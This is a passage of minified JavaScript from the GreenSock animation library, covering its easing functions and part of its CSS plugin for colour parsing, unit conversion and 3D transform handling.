this._p1>c?this._calcEnd?1-(c=1-c/this._p1)*c:a-(c=1-c/this._p1)*c*c*c*a:c>this._p3?this._calcEnd?1-(c=(c-this._p3)/this._p1)*c:a+(c-a)*(c=(c-this._p3)/this._p1)*c*c*c:this._calcEnd?1:a},E.ease=new E(0.7,0.7),q.config=E.config=function(c,a,d){return new E(c,a,d)},G=D("easing.SteppedEase",function(a){a=a||1,this._p1=1/a,this._p2=a+1},!0),q=G.prototype=new A,q.constructor=G,q.getRatio=function(a){return 0>a?a=0:a>=1&&(a=0.999999999),(this._p2*a>>0)*this._p1},q.config=G.config=function(a){return new G(a)},k=D("easing.RoughEase",function(V){V=V||{};for(var K,h,N,W,J,U,S=V.taper||"none",P=[],M=0,R=0|(V.points||20),I=R,Q=V.randomize!==!1,T=V.clamp===!0,L=V.template instanceof A?V.template:null,O="number"==typeof V.strength?0.4*V.strength:0.4;--I>-1;){K=Q?Math.random():1/R*I,h=L?L.getRatio(K):K,"none"===S?N=O:"out"===S?(W=1-K,N=W*W*O):"in"===S?N=K*K*O:0.5>K?(W=2*K,N=0.5*W*W*O):(W=2*(1-K),N=0.5*W*W*O),Q?h+=Math.random()*N-0.5*N:I%2?h+=0.5*N:h-=0.5*N,T&&(h>1?h=1:0>h&&(h=0)),P[M++]={x:K,y:h}}for(P.sort(function(c,a){return c.x-a.x}),U=new y(1,1,null),I=R;--I>-1;){J=P[I],U=new y(J.x,J.y,U)}this._prev=new y(0,0,0!==U.t?U:U.next)},!0),q=k.prototype=new A,q.constructor=k,q.getRatio=function(c){var a=this._prev;if(c>a.t){for(;a.next&&c>=a.t;){a=a.next}a=a.prev}else{for(;a.prev&&a.t>=c;){a=a.prev}}return this._prev=a,a.v+(c-a.t)/a.gap*a.c},q.config=function(a){return new k(a)},k.ease=new k,C("Bounce",z("BounceOut",function(a){return 1/2.75>a?7.5625*a*a:2/2.75>a?7.5625*(a-=1.5/2.75)*a+0.75:2.5/2.75>a?7.5625*(a-=2.25/2.75)*a+0.9375:7.5625*(a-=2.625/2.75)*a+0.984375}),z("BounceIn",function(a){return 1/2.75>(a=1-a)?1-7.5625*a*a:2/2.75>a?1-(7.5625*(a-=1.5/2.75)*a+0.75):2.5/2.75>a?1-(7.5625*(a-=2.25/2.75)*a+0.9375):1-(7.5625*(a-=2.625/2.75)*a+0.984375)}),z("BounceInOut",function(c){var a=0.5>c;return c=a?1-2*c:2*c-1,c=1/2.75>c?7.5625*c*c:2/2.75>c?7.5625*(c-=1.5/2.75)*c+0.75:2.5/2.75>c?7.5625*(c-=2.25/2.75)*c+0.9375:7.5625*(c-=2.625/2.75)*c+0.984375,a?0.5*(1-c):0.5*c+0.5})),C("Circ",z("CircOut",function(a){return Math.sqrt(1-(a-=1)*a)}),z("CircIn",function(a){return -(Math.sqrt(1-a*a)-1)}),z("CircInOut",function(a){return 1>(a*=2)?-0.5*(Math.sqrt(1-a*a)-1):0.5*(Math.sqrt(1-(a-=2)*a)+1)})),b=function(c,h,f){var a=D("easing."+c,function(m,l){this._p1=m||1,this._p2=l||f,this._p3=this._p2/j*(Math.asin(1/this._p1)||0)},!0),d=a.prototype=new A;return d.constructor=a,d.getRatio=h,d.config=function(m,l){return new a(m,l)},a},C("Elastic",b("ElasticOut",function(a){return this._p1*Math.pow(2,-10*a)*Math.sin((a-this._p3)*j/this._p2)+1},0.3),b("ElasticIn",function(a){return -(this._p1*Math.pow(2,10*(a-=1))*Math.sin((a-this._p3)*j/this._p2))},0.3),b("ElasticInOut",function(a){return 1>(a*=2)?-0.5*this._p1*Math.pow(2,10*(a-=1))*Math.sin((a-this._p3)*j/this._p2):0.5*this._p1*Math.pow(2,-10*(a-=1))*Math.sin((a-this._p3)*j/this._p2)+1},0.45)),C("Expo",z("ExpoOut",function(a){return 1-Math.pow(2,-10*a)}),z("ExpoIn",function(a){return Math.pow(2,10*(a-1))-0.001}),z("ExpoInOut",function(a){return 1>(a*=2)?0.5*Math.pow(2,10*(a-1)):0.5*(2-Math.pow(2,-10*(a-1)))})),C("Sine",z("SineOut",function(a){return Math.sin(a*F)}),z("SineIn",function(a){return -Math.cos(a*F)+1}),z("SineInOut",function(a){return -0.5*(Math.cos(Math.PI*a)-1)})),D("easing.EaseLookup",{find:function(a){return A.map[a]}},!0),w(x.SlowMo,"SlowMo","ease,"),w(k,"RoughEase","ease,"),w(G,"SteppedEase","ease,"),B},!0)}),_gsScope._gsDefine&&_gsScope._gsQueue.pop()();var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(_gsScope._gsQueue||(_gsScope._gsQueue=[])).push(function(){_gsScope._gsDefine("plugins.CSSPlugin",["plugins.TweenPlugin","TweenLite"],function(aJ,ar){var aA,av,aF,au,az=function(){aJ.call(this,"css"),this._overwriteProps.length=0,this.setRatio=az.prototype.setRatio},aq={},aO=az.prototype=new aJ("css");aO.constructor=az,az.version="1.13.2",az.API=2,az.defaultTransformPerspective=0,az.defaultSkewType="compensated",aO="px",az.suffixMap={top:aO,right:aO,bottom:aO,left:aO,width:aO,height:aO,fontSize:aO,padding:aO,margin:aO,perspective:aO,lineHeight:""};var aI,aC,aL,aG,ay,aK,ap=/(?:\d|\-\d|\.\d|\-\.\d)+/g,aB=/(?:\d|\-\d|\.\d|\-\.\d|\+=\d|\-=\d|\+=.\d|\-=\.\d)+/g,aH=/(?:\+=|\-=|\-|\b)[\d\-\.]+[a-zA-Z0-9]*(?:%|\b)/gi,al=/[^\d\-\.]/g,aN=/(?:\d|\-|\+|=|#|\.)*/g,an=/opacity *= *([^)]*)/i,bg=/opacity:([^;]*)/i,a1=/alpha\(opacity *=.+?\)/i,am=/^(rgb|hsl)/,aZ=/([A-Z])/g,a7=/-([a-z])/gi,bi=/(^(?:url\(\"|url\())|(?:(\"\))$|\)$)/gi,aD=function(b,a){return a.toUpperCase()},a9=/(?:Left|Right|Width)/i,bl=/(M11|M12|M21|M22)=[\d\-\.e]+/gi,a6=/progid\:DXImageTransform\.Microsoft\.Matrix\(.+?\)/i,a8=/,(?=[^\)]*(?:\(|$))/gi,aP=Math.PI/180,bh=180/Math.PI,a5={},bd=document,bk=bd.createElement("div"),aE=bd.createElement("img"),bf=az._internals={_specialProps:aq},bc=navigator.userAgent,ax=function(){var b,a=bc.indexOf("Android"),c=bd.createElement("div");return aL=-1!==bc.indexOf("Safari")&&-1===bc.indexOf("Chrome")&&(-1===a||Number(bc.substr(a+8,1))>3),ay=aL&&6>Number(bc.substr(bc.indexOf("Version/")+8,1)),aG=-1!==bc.indexOf("Firefox"),/MSIE ([0-9]{1,}[\.0-9]{0,})/.exec(bc)&&(aK=parseFloat(RegExp.$1)),c.innerHTML="<a style='top:1px;opacity:.55;'>a</a>",b=c.getElementsByTagName("a")[0],b?/^0.55/.test(b.style.opacity):!1}(),a3=function(a){return an.test("string"==typeof a?a:(a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100:1},aY=function(a){window.console&&console.log(a)},ak="",aW="",aV=function(d,b){b=b||bk;var f,c,a=b.style;if(void 0!==a[d]){return d}for(d=d.charAt(0).toUpperCase()+d.substr(1),f=["O","Moz","ms","Ms","Webkit"],c=5;--c>-1&&void 0===a[f[c]+d];){}return c>=0?(aW=3===c?"ms":f[c],ak="-"+aW.toLowerCase()+"-",aW+d):null},aX=bd.defaultView?bd.defaultView.getComputedStyle:function(){},bs=az.getStyle=function(f,b,g,d,a){var c;return ax||"opacity"!==b?(!d&&f.style[b]?c=f.style[b]:(g=g||aX(f))?c=g[b]||g.getPropertyValue(b)||g.getPropertyValue(b.replace(aZ,"-$1").toLowerCase()):f.currentStyle&&(c=f.currentStyle[b]),null==a||c&&"none"!==c&&"auto"!==c&&"auto auto"!==c?c:a):a3(f)},bb=bf.convertToPixels=function(q,g,b,k,x){if("px"===k||!k){return b}if("auto"===k||!b){return 0}var w,v,o,j=a9.test(g),t=q,m=bk.style,d=0>b;if(d&&(b=-b),"%"===k&&-1!==g.indexOf("border")){w=b/100*(j?q.clientWidth:q.clientHeight)}else{if(m.cssText="border:0 solid red;position:"+bs(q,"position")+";line-height:0;","%"!==k&&t.appendChild){m[j?"borderLeftWidth":"borderTopWidth"]=b+k}else{if(t=q.parentNode||bd.body,v=t._gsCache,o=ar.ticker.frame,v&&j&&v.time===o){return v.width*b/100}m[j?"width":"height"]=b+k}t.appendChild(bk),w=parseFloat(bk[j?"offsetWidth":"offsetHeight"]),t.removeChild(bk),j&&"%"===k&&az.cacheWidths!==!1&&(v=t._gsCache=t._gsCache||{},v.time=o,v.width=100*(w/b)),0!==w||x||(w=bb(q,g,b,k,!0))}return d?-w:w},ba=bf.calculateOffset=function(d,b,f){if("absolute"!==bs(d,"position",f)){return 0}var c="left"===b?"Left":"Top",a=bs(d,"margin"+c,f);return d["offset"+c]-(bb(d,b,parseFloat(a),a.replace(aN,""))||0)},a4=function(d,b){var f,c,a={};if(b=b||aX(d,null)){if(f=b.length){for(;--f>-1;){a[b[f].replace(a7,aD)]=b.getPropertyValue(b[f])}}else{for(f in b){a[f]=b[f]}}}else{if(b=d.currentStyle||d.style){for(f in b){"string"==typeof f&&void 0===a[f]&&(a[f.replace(a7,aD)]=b[f])}}}return ax||(a.opacity=a3(d)),c=br(d,b,!1),a.rotation=c.rotation,a.skewX=c.skewX,a.scaleX=c.scaleX,a.scaleY=c.scaleY,a.x=c.x,a.y=c.y,bA&&(a.z=c.z,a.rotationX=c.rotationX,a.rotationY=c.rotationY,a.scaleZ=c.scaleZ),a.filters&&delete a.filters,a},be=function(j,m,d,b,g){var p,c,l,k={},h=j.style;for(c in d){"cssText"!==c&&"length"!==c&&isNaN(c)&&(m[c]!==(p=d[c])||g&&g[c])&&-1===c.indexOf("Origin")&&("number"==typeof p||"string"==typeof p)&&(k[c]="auto"!==p||"left"!==c&&"top"!==c?""!==p&&"auto"!==p&&"none"!==p||"string"!=typeof m[c]||""===m[c].replace(al,"")?p:0:ba(j,c),void 0!==h[c]&&(l=new ah(h,c,h[c],l)))}if(b){for(c in b){"className"!==c&&(k[c]=b[c])}}return{difs:k,firstMPT:l}},aT={width:["Left","Right"],height:["Top","Bottom"]},aS=["marginLeft","marginRight","marginTop","marginBottom"],bC=function(f,b,g){var d=parseFloat("width"===b?f.offsetWidth:f.offsetHeight),a=aT[b],c=a.length;for(g=g||aX(f,null);--c>-1;){d-=parseFloat(bs(f,"padding"+a[c],g,!0))||0,d-=parseFloat(bs(f,"border"+a[c]+"Width",g,!0))||0}return d},a0=function(d,b){(null==d||""===d||"auto"===d||"auto auto"===d)&&(d="0 0");var f=d.split(" "),c=-1!==d.indexOf("left")?"0%":-1!==d.indexOf("right")?"100%":f[0],a=-1!==d.indexOf("top")?"0%":-1!==d.indexOf("bottom")?"100%":f[1];return null==a?a="0":"center"===a&&(a="50%"),("center"===c||isNaN(parseFloat(c))&&-1===(c+"").indexOf("="))&&(c="50%"),b&&(b.oxp=-1!==c.indexOf("%"),b.oyp=-1!==a.indexOf("%"),b.oxr="="===c.charAt(1),b.oyr="="===a.charAt(1),b.ox=parseFloat(c.replace(al,"")),b.oy=parseFloat(a.replace(al,""))),c+" "+a+(f.length>2?" "+f[2]:"")},aU=function(b,a){return"string"==typeof b&&"="===b.charAt(1)?parseInt(b.charAt(0)+"1",10)*parseFloat(b.substr(2)):parseFloat(b)-parseFloat(a)},bx=function(b,a){return null==b?a:"string"==typeof b&&"="===b.charAt(1)?parseInt(b.charAt(0)+"1",10)*Number(b.substr(2))+a:parseFloat(b)},ai=function(g,k,d,b){var f,l,c,j,h=0.000001;return null==g?j=k:"number"==typeof g?j=g:(f=360,l=g.split("_"),c=Number(l[0].replace(al,""))*(-1===g.indexOf("rad")?1:bh)-("="===g.charAt(1)?0:k),l.length&&(b&&(b[d]=k+c),-1!==g.indexOf("short")&&(c%=f,c!==c%(f/2)&&(c=0>c?c+f:c-f)),-1!==g.indexOf("_cw")&&0>c?c=(c+9999999999*f)%f-(0|c/f)*f:-1!==g.indexOf("ccw")&&c>0&&(c=(c-9999999999*f)%f-(0|c/f)*f)),j=k+c),h>j&&j>-h&&(j=0),j},bo={aqua:[0,255,255],lime:[0,255,0],silver:[192,192,192],black:[0,0,0],maroon:[128,0,0],teal:[0,128,128],blue:[0,0,255],navy:[0,0,128],white:[255,255,255],fuchsia:[255,0,255],olive:[128,128,0],yellow:[255,255,0],orange:[255,165,0],gray:[128,128,128],purple:[128,0,128],green:[0,128,0],red:[255,0,0],pink:[255,192,203],cyan:[0,255,255],transparent:[255,255,255,0]},ao=function(b,a,c){return b=0>b?b+1:b>1?b-1:b,0|255*(1>6*b?a+6*(c-a)*b:0.5>b?c:2>3*b?a+6*(c-a)*(2/3-b):a)+0.5},aw=function(f){var b,h,d,a,c,g;return f&&""!==f?"number"==typeof f?[f>>16,255&f>>8,255&f]:(","===f.charAt(f.length-1)&&(f=f.substr(0,f.length-1)),bo[f]?bo[f]:"#"===f.charAt(0)?(4===f.length&&(b=f.charAt(1),h=f.charAt(2),d=f.charAt(3),f="#"+b+b+h+h+d+d),f=parseInt(f.substr(1),16),[f>>16,255&f>>8,255&f]):"hsl"===f.substr(0,3)?(f=f.match(ap),a=Number(f[0])%360/360,c=Number(f[1])/100,g=Number(f[2])/100,h=0.5>=g?g*(c+1):g+c-g*c,b=2*g-h,f.length>3&&(f[3]=Number(f[3])),f[0]=ao(a+1/3,b,h),f[1]=ao(a,b,h),f[2]=ao(a-1/3,b,h),f):(f=f.match(ap)||bo.transparent,f[0]=Number(f[0]),f[1]=Number(f[1]),f[2]=Number(f[2]),f.length>3&&(f[3]=Number(f[3])),f)):bo.black},bj="(?:\\b(?:(?:rgb|rgba|hsl|hsla)\\(.+?\\))|\\B#.+?\\b";for(aO in bo){bj+="|"+aO+"\\b"}bj=RegExp(bj+")","gi");var bu=function(m,w,g,b){if(null==m){return function(a){return a}}var j,x=w?(m.match(bj)||[""])[0]:"",d=m.split(x).join("").match(aH)||[],v=m.substr(0,m.indexOf(d[0])),q=")"===m.charAt(m.length-1)?")":"",k=-1!==m.indexOf(" ")?" ":",",h=d.length,p=h>0?d[0].replace(ap,""):"";return h?j=w?function(l){var a,c,f,n;if("number"==typeof l){l+=p}else{if(b&&a8.test(l)){for(n=l.replace(a8,"|").split("|"),f=0;n.length>f;f++){n[f]=j(n[f])}return n.join(",")}}if(a=(l.match(bj)||[x])[0],c=l.split(a).join("").match(aH)||[],f=c.length,h>f--){for(;h>++f;){c[f]=g?c[0|(f-1)/2]:d[f]}}return v+c.join(k)+k+a+q+(-1!==l.indexOf("inset")?" inset":"")}:function(l){var a,f,c;if("number"==typeof l){l+=p}else{if(b&&a8.test(l)){for(f=l.replace(a8,"|").split("|"),c=0;f.length>c;c++){f[c]=j(f[c])}return f.join(",")}}if(a=l.match(aH)||[],c=a.length,h>c--){for(;h>++c;){a[c]=g?a[0|(c-1)/2]:d[c]}}return v+a.join(k)+q}:function(a){return a}},bw=function(a){return a=a.split(","),function(l,d,b,g,m,c,k){var j,h=(d+"").split(" ");for(k={},j=0;4>j;j++){k[a[j]]=h[j]=h[j]||h[(j-1)/2>>0]}return g.parse(l,k,m,c)}},ah=(bf._setPluginRatio=function(g){this.plugin.setRatio(g);for(var k,d,b,f,l=this.data,c=l.proxy,j=l.firstMPT,h=0.000001;j;){k=c[j.v],j.r?k=Math.round(k):h>k&&k>-h&&(k=0),j.t[j.p]=k,j=j._next}if(l.autoRotate&&(l.autoRotate.rotation=c.rotation),1===g){for(j=l.firstMPT;j;){if(d=j.t,d.type){if(1===d.type){for(f=d.xs0+d.s+d.xs1,b=1;d.l>b;b++){f+=d["xn"+b]+d["xs"+(b+1)]}d.e=f}}else{d.e=d.s+d.xs0}j=j._next}}},function(d,b,f,c,a){this.t=d,this.p=b,this.v=f,this.r=a,c&&(c._prev=this,this._next=c)}),aQ=(bf._parseToProxy=function(y,E,k,b,q,F){var j,D,B,x,m,A=b,w={},g={},z=k._transform,C=a5;for(k._transform=null,a5=E,b=m=k.parse(y,E,b,q),a5=C,F&&(k._transform=z,A&&(A._prev=null,A._prev&&(A._prev._next=null)));b&&b!==A;){if(1>=b.type&&(D=b.p,g[D]=b.s+b.c,w[D]=b.s,F||(x=new ah(b,"s",D,x,b.r),b.c=0),1===b.type)){for(j=b.l;--j>0;){B="xn"+j,D=b.p+"_"+B,g[D]=b.data[B],w[D]=b[B],F||(x=new ah(b,B,D,x,b.rxp[B]))}}b=b._next}return{proxy:w,end:g,firstMPT:x,pt:m}},bf.CSSPropTween=function(n,v,b,j,d,s,q,m,g,p,k){this.t=n,this.p=v,this.s=b,this.c=j,this.n=q||v,n instanceof aQ||au.push(this.n),this.r=m,this.type=s||0,g&&(this.pr=g,aA=!0),this.b=void 0===p?b:p,this.e=void 0===k?b+j:k,d&&(this._next=d,d._prev=this)}),af=az.parseComplex=function(V,D,M,H,Q,F,K,z,Z,O){M=M||F||"",K=new aQ(V,D,0,0,K,O?2:1,null,!1,z,M,H),H+="";var X,R,J,W,U,v,Y,x,B,j,f,m,G=M.split(", ").join(",").split(" "),P=H.split(", ").join(",").split(" "),q=G.length,I=aI!==!1;for((-1!==H.indexOf(",")||-1!==M.indexOf(","))&&(G=G.join(" ").replace(a8,", ").split(" "),P=P.join(" ").replace(a8,", ").split(" "),q=G.length),q!==P.length&&(G=(F||"").split(" "),q=G.length),K.plugin=Z,K.setRatio=O,X=0;q>X;X++){if(W=G[X],U=P[X],x=parseFloat(W),x||0===x){K.appendXtra("",x,aU(U,x),U.replace(aB,""),I&&-1!==U.indexOf("px"),!0)}else{if(Q&&("#"===W.charAt(0)||bo[W]||am.test(W))){m=","===U.charAt(U.length-1)?"),":")",W=aw(W),U=aw(U),B=W.length+U.length>6,B&&!ax&&0===U[3]?(K["xs"+K.l]+=K.l?" transparent":"transparent",K.e=K.e.split(P[X]).join("transparent")):(ax||(B=!1),K.appendXtra(B?"rgba(":"rgb(",W[0],U[0]-W[0],",",!0,!0).appendXtra("",W[1],U[1]-W[1],",",!0).appendXtra("",W[2],U[2]-W[2],B?",":m,!0),B&&(W=4>W.length?1:W[3],K.appendXtra("",W,(4>U.length?1:U[3])-W,m,!1)))}else{if(v=W.match(ap)){if(Y=U.match(aB),!Y||Y.length!==v.length){return K}for(J=0,R=0;v.length>R;R++){f=v[R],j=W.indexOf(f,J),K.appendXtra(W.substr(J,j-J),Number(f),aU(Y[R],f),"",I&&"px"===W.substr(j+f.length,2),0===R),J=j+f.length}K["xs"+K.l]+=W.substr(J)}else{K["xs"+K.l]+=K.l?" "+W:W}}}}if(-1!==H.indexOf("=")&&K.data){for(m=K.xs0+K.data.s,X=1;K.l>X;X++){m+=K["xs"+X]+K.data["xn"+X]}K.e=m+K["xs"+X]}return K.l||(K.type=-1,K.xs0=K.e),K.xfirst||K},ad=9;for(aO=aQ.prototype,aO.l=aO.pr=0;--ad>0;){aO["xn"+ad]=0,aO["xs"+ad]=""}aO.xs0="",aO._next=aO._prev=aO.xfirst=aO.data=aO.plugin=aO.setRatio=aO.rxp=null,aO.appendXtra=function(g,c,j,f,b,d){var h=this,a=h.l;return h["xs"+a]+=d&&a?" "+g:g||"",j||0===a||h.plugin?(h.l++,h.type=h.setRatio?2:1,h["xs"+h.l]=f||"",a>0?(h.data["xn"+a]=c+j,h.rxp["xn"+a]=b,h["xn"+a]=c,h.plugin||(h.xfirst=new aQ(h,"xn"+a,c,j,h.xfirst||h,0,h.n,b,h.pr),h.xfirst.xs0=0),h):(h.data={s:c+j},h.rxp={},h.s=c,h.c=j,h.r=b,h)):(h["xs"+a]+=c+(f||""),h)};var ag=function(b,a){a=a||{},this.p=a.prefix?aV(b)||b:b,aq[b]=aq[this.p]=this,this.format=a.formatter||bu(a.defaultValue,a.color,a.collapsible,a.multi),a.parser&&(this.parse=a.parser),this.clrs=a.color,this.multi=a.multi,this.keyword=a.keyword,this.dflt=a.defaultValue,this.pr=a.priority||0},bn=bf._registerComplexSpecialProp=function(f,b,h){"object"!=typeof b&&(b={parser:h});var d,a,c=f.split(","),g=b.defaultValue;for(h=h||[g],d=0;c.length>d;d++){b.prefix=0===d&&b.prefix,b.defaultValue=h[d]||g,a=new ag(c[d],b)}},bm=function(b){if(!aq[b]){var a=b.charAt(0).toUpperCase()+b.substr(1)+"Plugin";bn(b,{parser:function(k,m,h,d,g,l,c){var j=(_gsScope.GreenSockGlobals||_gsScope).com.greensock.plugins[a];return j?(j._cssRegister(),aq[h].parse(k,m,h,d,g,l,c)):(aY("Error: "+a+" js file not loaded."),g)}})}};aO=ag.prototype,aO.parseComplex=function(q,y,g,b,k,z){var d,x,w,p,j,v,m=this.keyword;if(this.multi&&(a8.test(g)||a8.test(y)?(x=y.replace(a8,"|").split("|"),w=g.replace(a8,"|").split("|")):m&&(x=[y],w=[g])),w){for(p=w.length>x.length?w.length:x.length,d=0;p>d;d++){y=x[d]=x[d]||this.dflt,g=w[d]=w[d]||this.dflt,m&&(j=y.indexOf(m),v=g.indexOf(m),j!==v&&(g=-1===v?w:x,g[d]+=" "+m))}y=x.join(", "),g=w.join(", ")}return af(q,this.p,y,g,this.clrs,this.dflt,b,this.pr,k,z)},aO.parse=function(d,a,g,c,b,f){return this.parseComplex(d.style,this.format(bs(d,this.p,aF,!1,this.dflt)),this.format(a),b,f)},az.registerSpecialProp=function(b,a,c){bn(b,{parser:function(k,j,g,h,l,f){var d=new aQ(k,g,0,0,l,2,g,!1,c);return d.plugin=f,d.setRatio=a(k,j,h._tween,g),d},priority:c})};var bq="scaleX,scaleY,scaleZ,x,y,z,skewX,skewY,rotation,rotationX,rotationY,perspective,xPercent,yPercent".split(","),aM=aV("transform"),ac=ak+"transform",ae=aV("transformOrigin"),bA=null!==aV("perspective"),bz=bf.Transform=function(){this.skewY=0},br=bf.getTransform=function(cl,b4,ca,b6){if(cl._gsTransform&&ca&&!b6){return cl._gsTransform}var cg,b5,b3,cp,ck,cc,cn,ch,b9,cm,b2,cb,ci,bZ=ca?cl._gsTransform||new bz:new bz,co=0>bZ.scaleX,b1=0.00002,bT=100000,bF=179.99,b0=bF*aP,bE=bA?parseFloat(bs(cl,ae,b4,!1,"0 0 0").split(" ")[2])||bZ.zOrigin||0:0,bK=parseFloat(az.defaultTransformPerspective)||0;if(aM?cg=bs(cl,ac,b4,!0):cl.currentStyle&&(cg=cl.currentStyle.filter.match(bl),cg=cg&&4===cg.length?[cg[0].substr(4),Number(cg[2].substr(4)),Number(cg[1].substr(4)),cg[3].substr(4),bZ.x||0,bZ.y||0].join(","):""),cg&&"none"!==cg&&"matrix(1, 0, 0, 1, 0, 0)"!==cg){for(b5=(cg||"").match(/(?:\-|\b)[\d\-\.e]+\b/gi)||[],b3=b5.length;--b3>-1;){cp=Number(b5[b3]),b5[b3]=(ck=cp-(cp|=0))?(0|ck*bT+(0>ck?-0.5:0.5))/bT+cp:cp}if(16===b5.length){var bU=b5[8],cd=b5[9],bM=b5[10],bJ=b5[12],bL=b5[13],bI=b5[14];if(bZ.zOrigin&&(bI=-bZ.zOrigin,bJ=bU*bI-b5[12],bL=cd*bI-b5[13],bI=bM*bI+bZ.zOrigin-b5[14]),!ca||b6||null==bZ.rotationX){var bQ,bV,cf,bS,bP,b7,bG,bD=b5[0],bY=b5[1],at=b5[2],D=b5[3],bt=b5[4],bO=b5[5],bN=b5[6],bH=b5[7],bR=b5[11],A=Math.atan2(bN,bM),o=-b0>A||A>b0;bZ.rotationX=A*bh,A&&(bS=Math.cos(-A),bP=Math.sin(-A),bQ=bt*bS+bU*bP,bV=bO*bS+cd*bP,cf=bN*bS+bM*bP,bU=bt*-bP+bU*bS,cd=bO*-bP+cd*bS,bM=bN*-bP+bM*bS,bR=bH*-bP+bR*bS,bt=bQ,bO=bV,bN=cf),A=Math.atan2(bU,bD),bZ.rotationY=A*bh,A&&(b7=-b0>A||A>b0,bS=Math.cos(-A),bP=Math.sin(-A),bQ=bD*bS-bU*bP,bV=bY*bS-cd*bP,cf=at*bS-bM*bP,cd=bY*bP+cd*bS,bM=at*bP+bM*bS,bR=D*bP+bR*bS,bD=bQ,bY=bV,at=cf),A=Math.atan2(bY,bO),bZ.rotation=A*bh,A&&(bG=-b0>A||A>b0,bS=Math.cos(-A),bP=Math.sin(-A),bD=bD*bS+bt*bP,bV=bY*bS+bO*bP,bO=bY*-bP+bO*bS,bN=at*-bP+bN*bS,bY=bV),bG&&o?bZ.rotation=bZ.rotationX=0:bG&&b7?bZ.rotation=bZ.rotationY=0:b7&&o&&(bZ.rotationY=bZ.rotationX=0),bZ.scaleX=(0|Math.sqrt(bD*bD+bY*bY)*bT+0.5)/bT,bZ.scaleY=(0|Math.sqrt(bO*bO+cd*cd)*bT+0.5)/bT,bZ.scaleZ=(0|Math.sqrt(bN*bN+bM*bM)*bT+0.5)/bT,bZ.skewX=0,bZ.perspective=bR?1/(0>bR?-bR:bR):0,bZ.x=bJ,bZ.y=bL,bZ.z=bI}}else{if(!(bA&&!b6&&b5.length&&bZ.x===b5[4]&&bZ.y===b5[5]&&(bZ.rotationX||bZ.rotationY)||void 0!==bZ.x&&"none"===bs(cl,"display",b4))){var b8=b5.length>=6,cj=b8?b5[0]:1,ce=b5[1]||0,bX=b5[2]||0,bW=b8?b5[3]:1;bZ.x=b5[4]||0,bZ.y=b5[5]||0,cc=Math.sqrt(cj*cj+ce*ce),cn=Math.sqrt(bW*bW+bX*bX),ch=cj||ce?Math.atan2(ce,cj)*bh:bZ.rotation||0,b9=bX||bW?Math.atan2(bX,bW)*bh+ch:bZ.skewX||0,cm=cc-Math.abs(bZ.scaleX||0),b2=cn-Math.abs(bZ.scaleY||0),Math.abs(b9)>90&&270>Math.abs(b9)&&(co?(cc*=-1,b9+=0>=ch?180:-180,ch+=0>=ch?180:-180):(cn*=-1,b9+=0>=b9?180:-180)),cb=(ch-bZ.rotation)%180,ci=(b9-bZ.skewX)%180,(void 0===bZ.skewX||cm>b1||-b1>cm||b2>b1||-b1>b2||cb>-bF&&bF>cb&&false|cb*bT||ci>-bF&&bF>ci&&false|ci*bT)&&(bZ.scaleX=cc,bZ.scaleY=cn,bZ.rotation=ch,bZ.skewX=b9),bA&&(bZ.rotationX=bZ.rotationY=bZ.z=0,bZ.perspective=bK,bZ.scaleZ=1)}}bZ.zOrigin=bE;for(b3 in bZ){b1>bZ[b3]&&bZ[b3]>-b1&&(bZ[b3]=0)}}else{bZ={x:0,y:0,z:0,scaleX:1,scaleY:1,scaleZ:1,skewX:0,perspective:bK,rotation:0,rotationX:0,rotationY:0,zOrigin:0}}return ca&&(cl._gsTransform=bZ),bZ.xPercent=bZ.yPercent=0,bZ},bp=function(V){var D,K,H=this.data,P=-H.rotation*aP,F=P+H.skewX*aP,J=100000,A=(0|Math.cos(P)*H.scaleX*J)/J,X=(0|Math.sin(P)*H.scaleX*J)/J,U=(0|Math.sin(F)*-H.scaleY*J)/J,M=(0|Math.cos(F)*H.scaleY*J)/J,W=this.t.style,Q=this.t.currentStyle;if(Q){K=X,X=-U,U=-K,D=Q.filter,W.filter="";var I,z,L=this.t.offsetWidth,R=this.t.offsetHeight,q="absolute"!==Q.position,B="progid:DXImageTransform.Microsoft.Matrix(M11="+A+", M12="+X+", M21="+U+", M22="+M,d=H.x+L*H.xPercent/100,w=H.y+R*H.yPercent/100;if(null!=H.ox&&(I=(H.oxp?0.01*L*H.ox:H.ox)-L/2,z=(H.oyp?0.01*R*H.oy:H.oy)-R/2,d+=I-(I*A+z*X),w+=z-(I*U+z*M)),q?(I=L/2,z=R/2,B+=", Dx="+(I-(I*A+z*X)+d)+", Dy="+(z-(I*U+z*M)+w)+")"):B+=", sizingMethod='auto expand')",W.filter=-1!==D.indexOf("DXImageTransform.Microsoft.Matrix(")?D.replace(a6,B):B+" "+D,(0===V||1===V)&&1===A&&0===X&&0===U&&1===M&&(q&&-1===B.indexOf("Dx=0, Dy=0")||an.test(D)&&100!==parseFloat(RegExp.$1)||-1===D.indexOf("gradient("&&D.indexOf("Alpha"))&&W.removeAttribute("filter")),!q){var b,j,G,O=8>aK?1:-1;for(I=H.ieOffsetX||0,z=H.ieOffsetY||0,H.ieOffsetX=Math.round((L-((0>A?-A:A)*L+(0>X?-X:X)*R))/2+d),H.ieOffsetY=Math.round((R-((0>M?-M:M)*R+(0>U?-U:U)*L))/2+w),ad=0;4>ad;ad++){j=aS[ad],b=Q[j],K=-1!==b.indexOf("px")?parseFloat(b):bb(this.t,j,parseFloat(b),b.replace(aN,""))||0,G=K!==H[j]?2>ad?-H.ieOffsetX:-H.ieOffsetY:2>ad?I-H.ieOffsetX:z-H.ieOffsetY,W[j]=(H[j]=Math.round(K-G*(0===ad||2===ad?1:O)))+"px"}}}},aR=bf.set3DTransformRatio=function(bO){var X,bH,bt,bL,Z,bG,V,bS,bN,bJ,bQ,bF,bP,U,bI,bM,J,bR,R,W,j,K,h,F=this.data,at=this.t.style,bK=F.rotation*aP,I=F.scaleX,bE=F.scaleY,z=F.scaleZ,G=F.x,Y=F.y,q=F.z,Q=F.perspective;if(!(1!==bO&&0!==bO||"auto"!==F.force3D||F.rotationY||F.rotationX||1!==z||Q||q)){return aa.call(this,bO),void 0}if(aG){var 